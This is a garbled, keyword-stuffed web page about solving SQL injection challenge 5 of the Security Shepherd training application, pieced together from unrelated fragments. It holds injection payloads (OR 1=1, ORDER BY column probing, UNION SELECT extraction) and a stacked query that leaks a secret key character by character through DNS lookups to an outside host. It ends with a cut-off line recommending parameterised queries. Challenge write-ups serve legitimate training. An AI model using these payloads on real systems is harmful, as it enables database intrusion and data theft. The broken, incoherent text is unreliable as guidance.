Sql+injection+challenge+5+security+shepherd+new -

SELECT coupon_code FROM coupons WHERE coupon_code = "" OR 1=1;

statement to join the results of a second query. First, find the number of columns: 1' ORDER BY 1-- (Increment the number until you get an error). Once you know the column count (e.g., 2), use: 1' UNION SELECT NULL, result FROM results-- Retrieve the Key sql+injection+challenge+5+security+shepherd+new

url = "http://localhost:8080/challenge5.jsp" flag = "" position = 1 SELECT coupon_code FROM coupons WHERE coupon_code = ""

' OR 1=1; DECLARE @p nvarchar(4000); SET @p = (SELECT SUBSTRING(secret_key, §pos§, 1) FROM secret_table); EXEC xp_dnsresolve @p + '.collab.com' -- use: 1' UNION SELECT NULL

or simple string replacement is rarely a sufficient defence against SQL injection. Developers should instead use parameterised queries